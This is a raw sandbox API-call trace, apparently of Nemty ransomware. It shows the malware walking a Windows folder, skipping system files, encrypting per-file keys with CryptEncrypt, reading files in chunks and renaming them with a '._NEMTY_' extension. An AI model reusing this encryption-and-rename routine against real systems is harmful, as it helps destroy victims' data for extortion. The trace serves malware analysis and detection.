pszString=0x6340308, pcchString=0x653e91c | out: pszString="B186Qs/D3Rfz9iCM7Z1bofYl4xJLCF2cSKWw5trfx8Mkhs1YqQrdSqbF7R6Cqcmp\r\nGi3jVp6R5GGf3+dpSdZIhitxVIz0qBApwtTsdu8ehsCY0TnpHOxw4L+AP98b1Yfg\r\neG95vxUxVr8o/4Z8oD2+hwpvjvE7HCn9N69I/lYsNhadDtN8juEkI8Sn93uQTA+O\r\nxSScD3wGPT+e6pDxFkY+bTTsaA1+7ClAqZ5NeLKRoBoLzKaiiMAtgIfYtxCjeRUJ\r\nRea8B2fpjWmAQ3GvCIk4Fr+cIK6zAQpgKrDR7zOIcIMogQ2eOmhKqJ0wNSSrDm3f\r\nEow/CyIBCmldx6nNHFJ2BA==\r\n", pcchString=0x653e91c) returned 1 [0163.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0163.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0163.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0163.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0163.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340308 [0163.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0163.689] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_gray_few-showers.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_gray_few-showers.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.689] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0163.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0163.689] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.690] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.699] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.699] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.699] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.699] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.708] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.708] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.708] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.708] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.717] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.717] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.717] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.717] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.727] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.727] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.727] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.727] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.736] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.736] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.736] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.736] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.745] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.745] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.745] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.746] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.755] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.755] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.755] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.755] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.764] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.764] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.764] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.764] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.791] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.791] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.791] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.791] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.819] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.819] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.819] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.819] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.825] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.825] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.825] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.825] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.831] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.831] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.831] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.831] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340308, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0163.831] CloseHandle (hObject=0xffffffff) returned 0 [0163.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340478 [0163.832] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0163.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0163.832] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0163.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0163.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0163.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0163.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0163.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0163.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0163.832] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_gray_few-showers.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_gray_few-showers.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_gray_few-showers.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_gray_few-showers.png._nemty_kgobjgd_")) returned 0 [0163.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0163.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0163.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0163.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0163.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0163.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0163.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0163.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0163.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0163.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0163.832] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8748e341, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8748e341, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2c5f0f0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x273c, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="docked_gray_foggy.png", cAlternateFileName="")) returned 1 [0163.832] lstrcmpiW (lpString1="docked_gray_foggy.png", lpString2=".") returned 1 [0163.832] lstrcmpiW (lpString1="docked_gray_foggy.png", lpString2="..") returned 1 [0163.832] lstrcmpiW (lpString1="docked_gray_foggy.png", lpString2="...") returned 1 [0163.832] lstrcmpiW (lpString1="docked_gray_foggy.png", lpString2="windows") returned -1 [0163.832] lstrcmpiW (lpString1="docked_gray_foggy.png", lpString2="$RECYCLE.BIN") returned 1 [0163.832] lstrcmpiW (lpString1="docked_gray_foggy.png", lpString2="rsa") returned -1 [0163.832] lstrcmpiW (lpString1="docked_gray_foggy.png", lpString2="NTDETECT.COM") returned -1 [0163.832] lstrcmpiW (lpString1="docked_gray_foggy.png", lpString2="ntldr") returned -1 [0163.832] lstrcmpiW (lpString1="docked_gray_foggy.png", lpString2="MSDOS.SYS") returned -1 [0163.832] lstrcmpiW (lpString1="docked_gray_foggy.png", lpString2="IO.SYS") returned -1 [0163.833] lstrcmpiW (lpString1="docked_gray_foggy.png", lpString2="boot.ini") returned 1 [0163.833] lstrcmpiW (lpString1="docked_gray_foggy.png", lpString2="boot.ini") returned 1 [0163.833] lstrcmpiW (lpString1="docked_gray_foggy.png", lpString2="AUTOEXEC.BAT") returned 1 [0163.833] lstrcmpiW (lpString1="docked_gray_foggy.png", lpString2="ntuser.dat") returned -1 [0163.833] lstrcmpiW (lpString1="docked_gray_foggy.png", lpString2="desktop.ini") returned 1 [0163.833] lstrcmpiW (lpString1="docked_gray_foggy.png", lpString2="CONFIG.SYS") returned 1 [0163.833] lstrcmpiW (lpString1="docked_gray_foggy.png", lpString2="RECYCLER") returned -1 [0163.833] lstrcmpiW (lpString1="docked_gray_foggy.png", lpString2="BOOTSECT.BAK") returned 1 [0163.833] lstrcmpiW (lpString1="docked_gray_foggy.png", lpString2="bootmgr") returned 1 [0163.833] lstrcmpiW (lpString1="docked_gray_foggy.png", lpString2="programdata") returned -1 [0163.833] lstrcmpiW (lpString1="docked_gray_foggy.png", lpString2="appdata") returned 1 [0163.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0163.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_foggy.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0163.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0163.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_foggy.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_gray_foggy.png", lpUsedDefaultChar=0x0) returned 21 [0163.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0163.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0163.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_foggy.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0163.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0163.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_foggy.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_gray_foggy.png", lpUsedDefaultChar=0x0) returned 21 [0163.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0163.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0163.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0163.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0163.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_foggy.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0163.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0163.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_foggy.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_gray_foggy.png", lpUsedDefaultChar=0x0) returned 21 [0163.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0163.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0163.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_foggy.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0163.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0163.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_gray_foggy.png", cchWideChar=21, lpMultiByteStr=0x4f9ed58, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_gray_foggy.png", lpUsedDefaultChar=0x0) returned 21 [0163.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0163.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0163.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0163.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340188 [0163.834] Sleep (dwMilliseconds=0x5) [0163.845] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x154e4e50, dwHighDateTime=0x1d561e8)) [0163.845] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x154e4e50, dwHighDateTime=0x1d561e8)) [0163.845] GetLastError () returned 0x5 [0163.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0163.845] GetLastError () returned 0x5 [0163.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0163.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0163.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0163.845] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0163.845] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0163.845] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0163.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0163.845] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e91c | out: pszString="V0JKsb4rxiUc+jM3+rzP0erZxprJ9P2iuBvYUnQUOAvZD8F4FBd1M7mVub6wxFg/\r\nnUIyLGLey3oSdbmForblWLWjVEhcW8IeahgiQRnrQNFByrLqYgvUSEwol/SW+rXr\r\nlBsF5+ntLkg3xRtw1cJ+amKEShwfp0xkIBwGVf/vNoAkO5/BfXz52FJC5AOG25oa\r\nilYtEizHGnsZLTa7/K0WTyFkyJId6Ou+KAR07f7T2bXndjEc3mhyqnHks16ikoqJ\r\nfQupvW/04KuLOIZDUNMYLR9NhE5D6dP6v6fid5Z9Ho9+uJ7jb3q8YJ6H1okauAbH\r\n5yoku1tKRImGj+xX+2TYDg==\r\n", pcchString=0x653e91c) returned 1 [0163.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0163.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0163.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0163.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0163.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0163.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0163.845] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_gray_foggy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_gray_foggy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.846] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0163.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0163.846] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.846] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.855] 